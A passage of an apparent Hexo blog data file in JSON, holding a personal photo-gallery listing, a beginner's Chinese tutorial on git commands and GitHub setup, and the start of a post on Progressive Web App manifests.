","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"<div id=\"dplayer0\" class=\"dplayer hexo-tag-dplayer-mark\" style=\"margin-bottom: 20px;\"></div><script>(function(){var player = new DPlayer({\"container\":document.getElementById(\"dplayer0\"),\"autoplay\":true,\"theme\":\"#fff\",\"loop\":true,\"video\":{\"url\":\"http://orjedzer5.bkt.clouddn.com/amani%EF%BC%88%E9%97%B4%E5%A5%8F%EF%BC%89.mp4\"},\"danmaku\":{\"id\":\"1\",\"api\":\"http://dplayer.daoapp.io\",\"token\":\"tokendemo\"}});window.dplayers||(window.dplayers=[]);window.dplayers.push(player);})()</script>"},{"title":"git使用技巧","date":"2017-04-15T11:59:16.000Z","_content":"\n# 流程\n\n## git连接GitHub\n\n### 设置Git的信息(如果是第一次的话)\n> git config --global user.name \"名字\"\n> git config --global user.email \"邮箱\"\n\n### 生成密匙(很重要)\n这是你连接的必要部分，就相当于账号的登录密码，有这个你才能对GitHub上的项目进行操作\n>  ssh-keygen -t rsa -C \"710328466@qq.com\"\n\n### 配置密匙\n\n* 将获取的密钥放到GitHub->setting下的SSH and GPG keys里面\n\n### 新建项目\n\n* 进入首页，新建一个repository\n\n* 填写相应信息\n        Repository name: 仓库名称\n\n        Description(可选): 仓库描述介绍\n\n        Public, Private : 仓库权限（公开共享，私有或指定合作者）\n        Initialize this repository with a README: 添加一个README.md\n\n        gitignore: 不需要进行版本管理的仓库类型，对应生成文件.gitignore\n\n        license: 证书类型，对应生成文件LICENSE\n\n### 下载 git bash\n #\n* 下载地址去百度\n\n### 将 gitHub 上的仓库克隆到本地\n* git clone https://github.com/j710328466/yourItem.git（j710328466/yourBlog.git替换成你博客的地址）\n>  这个步骤以后你的本地项目文件夹下面就会多出个文件夹，该文件夹名即为你github上面的项目名，如图我多出了个yourItem文件夹，我们把本地项目文件夹下的所有文件（除了新多出的那个文件夹不用），其余都复制到那个新多出的文件夹下\n\n### cd Test 打开Test文件夹\n* git add .    (添加所有文件)\n> git add readme.md\n\n* git commit -m \"信息\" \n\n* git push -u origin master  将本地文件上传到git仓库\n>  如果push -u....报错，你就改成git pull --rebase origin master,重新push就可以了\n\n## git 基本操作\n### touch 文件名\n添加到缓存\n\n### git status\n> 查看该项目改变的文件\n* git status \n\n### git diff \n> 默认是暂未缓存的改动，这个可以查自己目前版本和上一个版本的改动位置\n\n#### git diff --cached \n> 查看已缓存的改动\n\n#### git diff HEAD \n> 查看已缓存与未缓存的所有改动\n\n#### git diff --stat\n> 显示摘要而非整个diff\n\n### git rm \n> 将条目从缓存区中移除\n\n### git mv\n> 用于移动或重命名一个文件，目录\n```\ngit add README\ngit mv README README.md\nls\n```\n\n## git 分支管理\n### git branch\n* 查看当前分支\n> 后面加单词，即是创建分支: git branch day1\n\n### 删除分支\n> git branch -d testing\n\n### git checkout ‘分支名’\n> 切换分支\n\n### git checkout -b newtest\n>创建新分支并切换到该分支下\n\n### git merge 分支\n> 合并分支\n\n\n\n","source":"_posts/GIT使用攻略.md","raw":"---\ntitle: git使用技巧\ndate: 2017-04-15 19:59:16\ntags: [git]\ncategories: 版本管理\n---\n\n# 流程\n\n## git连接GitHub\n\n### 设置Git的信息(如果是第一次的话)\n> git config --global user.name \"名字\"\n> git config --global user.email \"邮箱\"\n\n### 生成密匙(很重要)\n这是你连接的必要部分，就相当于账号的登录密码，有这个你才能对GitHub上的项目进行操作\n>  ssh-keygen -t rsa -C \"710328466@qq.com\"\n\n### 配置密匙\n\n* 将获取的密钥放到GitHub->setting下的SSH and GPG keys里面\n\n### 新建项目\n\n* 进入首页，新建一个repository\n\n* 填写相应信息\n        Repository name: 仓库名称\n\n        Description(可选): 仓库描述介绍\n\n        Public, Private : 仓库权限（公开共享，私有或指定合作者）\n        Initialize this repository with a README: 添加一个README.md\n\n        gitignore: 不需要进行版本管理的仓库类型，对应生成文件.gitignore\n\n        license: 证书类型，对应生成文件LICENSE\n\n### 下载 git bash\n #\n* 下载地址去百度\n\n### 将 gitHub 上的仓库克隆到本地\n* git clone https://github.com/j710328466/yourItem.git（j710328466/yourBlog.git替换成你博客的地址）\n>  这个步骤以后你的本地项目文件夹下面就会多出个文件夹，该文件夹名即为你github上面的项目名，如图我多出了个yourItem文件夹，我们把本地项目文件夹下的所有文件（除了新多出的那个文件夹不用），其余都复制到那个新多出的文件夹下\n\n### cd Test 打开Test文件夹\n* git add .    (添加所有文件)\n> git add readme.md\n\n* git commit -m \"信息\" \n\n* git push -u origin master  将本地文件上传到git仓库\n>  如果push -u....报错，你就改成git pull --rebase origin master,重新push就可以了\n\n## git 基本操作\n### touch 文件名\n添加到缓存\n\n### git status\n> 查看该项目改变的文件\n* git status \n\n### git diff \n> 默认是暂未缓存的改动，这个可以查自己目前版本和上一个版本的改动位置\n\n#### git diff --cached \n> 查看已缓存的改动\n\n#### git diff HEAD \n> 查看已缓存与未缓存的所有改动\n\n#### git diff --stat\n> 显示摘要而非整个diff\n\n### git rm \n> 将条目从缓存区中移除\n\n### git mv\n> 用于移动或重命名一个文件，目录\n```\ngit add README\ngit mv README README.md\nls\n```\n\n## git 分支管理\n### git branch\n* 查看当前分支\n> 后面加单词，即是创建分支: git branch day1\n\n### 删除分支\n> git branch -d testing\n\n### git checkout ‘分支名’\n> 切换分支\n\n### git checkout -b newtest\n>创建新分支并切换到该分支下\n\n### git merge 分支\n> 合并分支\n\n\n\n","slug":"GIT使用攻略","published":1,"updated":"2018-01-22T03:53:40.804Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y2g0002vzqhkbczaphe","content":"<link rel=\"stylesheet\" class=\"aplayer-secondary-style-marker\" href=\"/assets/css/APlayer.min.css\"><script src=\"/assets/js/APlayer.min.js\" class=\"aplayer-secondary-script-marker\"></script><h1 id=\"流程\"><a href=\"#流程\" class=\"headerlink\" title=\"流程\"></a>流程</h1><h2 id=\"git连接GitHub\"><a href=\"#git连接GitHub\" class=\"headerlink\" title=\"git连接GitHub\"></a>git连接GitHub</h2><h3 id=\"设置Git的信息-如果是第一次的话\"><a href=\"#设置Git的信息-如果是第一次的话\" class=\"headerlink\" title=\"设置Git的信息(如果是第一次的话)\"></a>设置Git的信息(如果是第一次的话)</h3><blockquote>\n<p>git config –global user.name “名字”<br>git config –global user.email “邮箱”</p>\n</blockquote>\n<h3 id=\"生成密匙-很重要\"><a href=\"#生成密匙-很重要\" class=\"headerlink\" title=\"生成密匙(很重要)\"></a>生成密匙(很重要)</h3><p>这是你连接的必要部分，就相当于账号的登录密码，有这个你才能对GitHub上的项目进行操作</p>\n<blockquote>\n<p> ssh-keygen -t rsa -C “<a href=\"mailto:710328466@qq.com\" target=\"_blank\" rel=\"noopener\">710328466@qq.com</a>“</p>\n</blockquote>\n<h3 id=\"配置密匙\"><a href=\"#配置密匙\" class=\"headerlink\" title=\"配置密匙\"></a>配置密匙</h3><ul>\n<li>将获取的密钥放到GitHub-&gt;setting下的SSH and GPG keys里面</li>\n</ul>\n<h3 id=\"新建项目\"><a href=\"#新建项目\" class=\"headerlink\" title=\"新建项目\"></a>新建项目</h3><ul>\n<li><p>进入首页，新建一个repository</p>\n</li>\n<li><p>填写相应信息</p>\n<pre><code>  Repository name: 仓库名称\n\n  Description(可选): 仓库描述介绍\n\n  Public, Private : 仓库权限（公开共享，私有或指定合作者）\n  Initialize this repository with a README: 添加一个README.md\n\n  gitignore: 不需要进行版本管理的仓库类型，对应生成文件.gitignore\n\n  license: 证书类型，对应生成文件LICENSE\n</code></pre></li>\n</ul>\n<h3 id=\"下载-git-bash\"><a href=\"#下载-git-bash\" class=\"headerlink\" title=\"下载 git bash\"></a>下载 git bash</h3><p> #</p>\n<ul>\n<li>下载地址去百度</li>\n</ul>\n<h3 id=\"将-gitHub-上的仓库克隆到本地\"><a href=\"#将-gitHub-上的仓库克隆到本地\" class=\"headerlink\" title=\"将 gitHub 上的仓库克隆到本地\"></a>将 gitHub 上的仓库克隆到本地</h3><ul>\n<li>git clone <a href=\"https://github.com/j710328466/yourItem.git（j710328466/yourBlog.git替换成你博客的地址）\" target=\"_blank\" rel=\"noopener\">https://github.com/j710328466/yourItem.git（j710328466/yourBlog.git替换成你博客的地址）</a><blockquote>\n<p> 这个步骤以后你的本地项目文件夹下面就会多出个文件夹，该文件夹名即为你github上面的项目名，如图我多出了个yourItem文件夹，我们把本地项目文件夹下的所有文件（除了新多出的那个文件夹不用），其余都复制到那个新多出的文件夹下</p>\n</blockquote>\n</li>\n</ul>\n<h3 id=\"cd-Test-打开Test文件夹\"><a href=\"#cd-Test-打开Test文件夹\" class=\"headerlink\" title=\"cd Test 打开Test文件夹\"></a>cd Test 打开Test文件夹</h3><ul>\n<li><p>git add .    (添加所有文件)</p>\n<blockquote>\n<p>git add readme.md</p>\n</blockquote>\n</li>\n<li><p>git commit -m “信息” </p>\n</li>\n<li><p>git push -u origin master  将本地文件上传到git仓库</p>\n<blockquote>\n<p> 如果push -u….报错，你就改成git pull –rebase origin master,重新push就可以了</p>\n</blockquote>\n</li>\n</ul>\n<h2 id=\"git-基本操作\"><a href=\"#git-基本操作\" class=\"headerlink\" title=\"git 基本操作\"></a>git 基本操作</h2><h3 id=\"touch-文件名\"><a href=\"#touch-文件名\" class=\"headerlink\" title=\"touch 文件名\"></a>touch 文件名</h3><p>添加到缓存</p>\n<h3 id=\"git-status\"><a href=\"#git-status\" class=\"headerlink\" title=\"git status\"></a>git status</h3><blockquote>\n<p>查看该项目改变的文件</p>\n<ul>\n<li>git status </li>\n</ul>\n</blockquote>\n<h3 id=\"git-diff\"><a href=\"#git-diff\" class=\"headerlink\" title=\"git diff\"></a>git diff</h3><blockquote>\n<p>默认是暂未缓存的改动，这个可以查自己目前版本和上一个版本的改动位置</p>\n</blockquote>\n<h4 id=\"git-diff-–cached\"><a href=\"#git-diff-–cached\" class=\"headerlink\" title=\"git diff –cached\"></a>git diff –cached</h4><blockquote>\n<p>查看已缓存的改动</p>\n</blockquote>\n<h4 id=\"git-diff-HEAD\"><a href=\"#git-diff-HEAD\" class=\"headerlink\" title=\"git diff HEAD\"></a>git diff HEAD</h4><blockquote>\n<p>查看已缓存与未缓存的所有改动</p>\n</blockquote>\n<h4 id=\"git-diff-–stat\"><a href=\"#git-diff-–stat\" class=\"headerlink\" title=\"git diff –stat\"></a>git diff –stat</h4><blockquote>\n<p>显示摘要而非整个diff</p>\n</blockquote>\n<h3 id=\"git-rm\"><a href=\"#git-rm\" class=\"headerlink\" title=\"git rm\"></a>git rm</h3><blockquote>\n<p>将条目从缓存区中移除</p>\n</blockquote>\n<h3 id=\"git-mv\"><a href=\"#git-mv\" class=\"headerlink\" title=\"git mv\"></a>git mv</h3><blockquote>\n<p>用于移动或重命名一个文件，目录</p>\n<pre><code>git add README\ngit mv README README.md\nls\n</code></pre></blockquote>\n<h2 id=\"git-分支管理\"><a href=\"#git-分支管理\" class=\"headerlink\" title=\"git 分支管理\"></a>git 分支管理</h2><h3 id=\"git-branch\"><a href=\"#git-branch\" class=\"headerlink\" title=\"git branch\"></a>git branch</h3><ul>\n<li>查看当前分支<blockquote>\n<p>后面加单词，即是创建分支: git branch day1</p>\n</blockquote>\n</li>\n</ul>\n<h3 id=\"删除分支\"><a href=\"#删除分支\" class=\"headerlink\" title=\"删除分支\"></a>删除分支</h3><blockquote>\n<p>git branch -d testing</p>\n</blockquote>\n<h3 id=\"git-checkout-‘分支名’\"><a href=\"#git-checkout-‘分支名’\" class=\"headerlink\" title=\"git checkout ‘分支名’\"></a>git checkout ‘分支名’</h3><blockquote>\n<p>切换分支</p>\n</blockquote>\n<h3 id=\"git-checkout-b-newtest\"><a href=\"#git-checkout-b-newtest\" class=\"headerlink\" title=\"git checkout -b newtest\"></a>git checkout -b newtest</h3><blockquote>\n<p>创建新分支并切换到该分支下</p>\n</blockquote>\n<h3 id=\"git-merge-分支\"><a href=\"#git-merge-分支\" class=\"headerlink\" title=\"git merge 分支\"></a>git merge 分支</h3><blockquote>\n<p>合并分支</p>\n</blockquote>\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"<h1 id=\"流程\"><a href=\"#流程\" class=\"headerlink\" title=\"流程\"></a>流程</h1><h2 id=\"git连接GitHub\"><a href=\"#git连接GitHub\" class=\"headerlink\" title=\"git连接GitHub\"></a>git连接GitHub</h2><h3 id=\"设置Git的信息-如果是第一次的话\"><a href=\"#设置Git的信息-如果是第一次的话\" class=\"headerlink\" title=\"设置Git的信息(如果是第一次的话)\"></a>设置Git的信息(如果是第一次的话)</h3><blockquote>\n<p>git config –global user.name “名字”<br>git config –global user.email “邮箱”</p>\n</blockquote>\n<h3 id=\"生成密匙-很重要\"><a href=\"#生成密匙-很重要\" class=\"headerlink\" title=\"生成密匙(很重要)\"></a>生成密匙(很重要)</h3><p>这是你连接的必要部分，就相当于账号的登录密码，有这个你才能对GitHub上的项目进行操作</p>\n<blockquote>\n<p> ssh-keygen -t rsa -C “<a href=\"mailto:710328466@qq.com\" target=\"_blank\" rel=\"noopener\">710328466@qq.com</a>“</p>\n</blockquote>\n<h3 id=\"配置密匙\"><a href=\"#配置密匙\" class=\"headerlink\" title=\"配置密匙\"></a>配置密匙</h3><ul>\n<li>将获取的密钥放到GitHub-&gt;setting下的SSH and GPG keys里面</li>\n</ul>\n<h3 id=\"新建项目\"><a href=\"#新建项目\" class=\"headerlink\" title=\"新建项目\"></a>新建项目</h3><ul>\n<li><p>进入首页，新建一个repository</p>\n</li>\n<li><p>填写相应信息</p>\n<pre><code>  Repository name: 仓库名称\n\n  Description(可选): 仓库描述介绍\n\n  Public, Private : 仓库权限（公开共享，私有或指定合作者）\n  Initialize this repository with a README: 添加一个README.md\n\n  gitignore: 不需要进行版本管理的仓库类型，对应生成文件.gitignore\n\n  license: 证书类型，对应生成文件LICENSE\n</code></pre></li>\n</ul>\n<h3 id=\"下载-git-bash\"><a href=\"#下载-git-bash\" class=\"headerlink\" title=\"下载 git bash\"></a>下载 git bash</h3><p> #</p>\n<ul>\n<li>下载地址去百度</li>\n</ul>\n<h3 id=\"将-gitHub-上的仓库克隆到本地\"><a href=\"#将-gitHub-上的仓库克隆到本地\" class=\"headerlink\" title=\"将 gitHub 上的仓库克隆到本地\"></a>将 gitHub 上的仓库克隆到本地</h3><ul>\n<li>git clone <a href=\"https://github.com/j710328466/yourItem.git（j710328466/yourBlog.git替换成你博客的地址）\" target=\"_blank\" rel=\"noopener\">https://github.com/j710328466/yourItem.git（j710328466/yourBlog.git替换成你博客的地址）</a><blockquote>\n<p> 这个步骤以后你的本地项目文件夹下面就会多出个文件夹，该文件夹名即为你github上面的项目名，如图我多出了个yourItem文件夹，我们把本地项目文件夹下的所有文件（除了新多出的那个文件夹不用），其余都复制到那个新多出的文件夹下</p>\n</blockquote>\n</li>\n</ul>\n<h3 id=\"cd-Test-打开Test文件夹\"><a href=\"#cd-Test-打开Test文件夹\" class=\"headerlink\" title=\"cd Test 打开Test文件夹\"></a>cd Test 打开Test文件夹</h3><ul>\n<li><p>git add .    (添加所有文件)</p>\n<blockquote>\n<p>git add readme.md</p>\n</blockquote>\n</li>\n<li><p>git commit -m “信息” </p>\n</li>\n<li><p>git push -u origin master  将本地文件上传到git仓库</p>\n<blockquote>\n<p> 如果push -u….报错，你就改成git pull –rebase origin master,重新push就可以了</p>\n</blockquote>\n</li>\n</ul>\n<h2 id=\"git-基本操作\"><a href=\"#git-基本操作\" class=\"headerlink\" title=\"git 基本操作\"></a>git 基本操作</h2><h3 id=\"touch-文件名\"><a href=\"#touch-文件名\" class=\"headerlink\" title=\"touch 文件名\"></a>touch 文件名</h3><p>添加到缓存</p>\n<h3 id=\"git-status\"><a href=\"#git-status\" class=\"headerlink\" title=\"git status\"></a>git status</h3><blockquote>\n<p>查看该项目改变的文件</p>\n<ul>\n<li>git status </li>\n</ul>\n</blockquote>\n<h3 id=\"git-diff\"><a href=\"#git-diff\" class=\"headerlink\" title=\"git diff\"></a>git diff</h3><blockquote>\n<p>默认是暂未缓存的改动，这个可以查自己目前版本和上一个版本的改动位置</p>\n</blockquote>\n<h4 id=\"git-diff-–cached\"><a href=\"#git-diff-–cached\" class=\"headerlink\" title=\"git diff –cached\"></a>git diff –cached</h4><blockquote>\n<p>查看已缓存的改动</p>\n</blockquote>\n<h4 id=\"git-diff-HEAD\"><a href=\"#git-diff-HEAD\" class=\"headerlink\" title=\"git diff HEAD\"></a>git diff HEAD</h4><blockquote>\n<p>查看已缓存与未缓存的所有改动</p>\n</blockquote>\n<h4 id=\"git-diff-–stat\"><a href=\"#git-diff-–stat\" class=\"headerlink\" title=\"git diff –stat\"></a>git diff –stat</h4><blockquote>\n<p>显示摘要而非整个diff</p>\n</blockquote>\n<h3 id=\"git-rm\"><a href=\"#git-rm\" class=\"headerlink\" title=\"git rm\"></a>git rm</h3><blockquote>\n<p>将条目从缓存区中移除</p>\n</blockquote>\n<h3 id=\"git-mv\"><a href=\"#git-mv\" class=\"headerlink\" title=\"git mv\"></a>git mv</h3><blockquote>\n<p>用于移动或重命名一个文件，目录</p>\n<pre><code>git add README\ngit mv README README.md\nls\n</code></pre></blockquote>\n<h2 id=\"git-分支管理\"><a href=\"#git-分支管理\" class=\"headerlink\" title=\"git 分支管理\"></a>git 分支管理</h2><h3 id=\"git-branch\"><a href=\"#git-branch\" class=\"headerlink\" title=\"git branch\"></a>git branch</h3><ul>\n<li>查看当前分支<blockquote>\n<p>后面加单词，即是创建分支: git branch day1</p>\n</blockquote>\n</li>\n</ul>\n<h3 id=\"删除分支\"><a href=\"#删除分支\" class=\"headerlink\" title=\"删除分支\"></a>删除分支</h3><blockquote>\n<p>git branch -d testing</p>\n</blockquote>\n<h3 id=\"git-checkout-‘分支名’\"><a href=\"#git-checkout-‘分支名’\" class=\"headerlink\" title=\"git checkout ‘分支名’\"></a>git checkout ‘分支名’</h3><blockquote>\n<p>切换分支</p>\n</blockquote>\n<h3 id=\"git-checkout-b-newtest\"><a href=\"#git-checkout-b-newtest\" class=\"headerlink\" title=\"git checkout -b newtest\"></a>git checkout -b newtest</h3><blockquote>\n<p>创建新分支并切换到该分支下</p>\n</blockquote>\n<h3 id=\"git-merge-分支\"><a href=\"#git-merge-分支\" class=\"headerlink\" title=\"git merge 分支\"></a>git merge 分支</h3><blockquote>\n<p>合并分支</p>\n</blockquote>\n"},{"title":"PWA初窥","date":"2018-01-20T07:13:10.000Z","_content":"# Progressive Web Apps\n\n## 特性\n\n* 渐进式：能确保每个用户都能打开网页\n* 响应式：PC，手机，平板，不管哪种格式，网页格式都能完美适配\n* 离线应用：支持用户在没网的条件下也能打开网页，这里就需要 Service Worker 的帮助\n* APP 化：能够像 APP 一样和用户进行交互\n* 常更新：一旦 Web 网页有什么改动，都能立即在用户端体现出来\n* 安全：安全第一，给自己的网站加上一把绿锁--HTTPS\n* 可搜索：能够被引擎搜索到推送：做到在不打开网页的前提下，推送新的消息\n* 可安装：能够将 Web 想 APP 一样添加到桌面\n* 可跳转：只要通过一个连接就可以跳转到你的 Web 页面。\n\n## 配置文件\n\n```json\nminifest.json 内容\n{\n  \"short_name\": \"pwa\",\n  \"name\": \"pwa - demo\", // 应用名称\n  \"icons\": [ // 应用显示图标，根据容器大小适配\n    {\n      \"src\": \"assets/imgs/48.png\",\n      \"type\": \"image/png\",\n      \"sizes\": \"48x48\"\n    },\n    {\n      \"src\": \"assets/imgs/96.png\",\n      \"type\": \"image/png\",\n      \"sizes\": \"96x96\"\n    },\n    {\n      \"src\": \"assets/imgs/192.png\",\n      \"type\": \"image/png\",\n      \"sizes\": \"192x192\"\n    }\n  ],\n  \"background_color\": \"#2196F3\", // 刚打开页面时的背景\n  \"theme_color\": \"#2196F3\", // 主题颜色\n  \"display\": \"standalone\", //独立显示\n  \"start_url\": \"index.html?launcher=true\" // 启动的页面\n}\n```\n\n待续...","source":"_posts/PWA初窥.md","raw":"---\ntitle: PWA初窥\ndate: 2018-01-20 15:13:10\ntags: [PWA]\ncategories: web前端\n---\n# Progressive Web Apps\n\n## 特性\n\n* 渐进式：能确保每个用户都能打开网页\n* 响应式：PC，手机，平板，不管哪种格式，网页格式都能完美适配\n* 离线应用：支持用户在没网的条件下也能打开网页，这里就需要 Service Worker 的帮助\n* APP 化：能够像 APP 一样和用户进行交互\n* 常更新：一旦 Web 网页有什么改动，都能立即在用户端体现出来\n* 安全：安全第一，给自己的网站加上一把绿锁--HTTPS\n* 可搜索：能够被引擎搜索到推送：做到在不打开网页的前提下，推送新的消息\n* 可安装：能够将 Web 想 APP 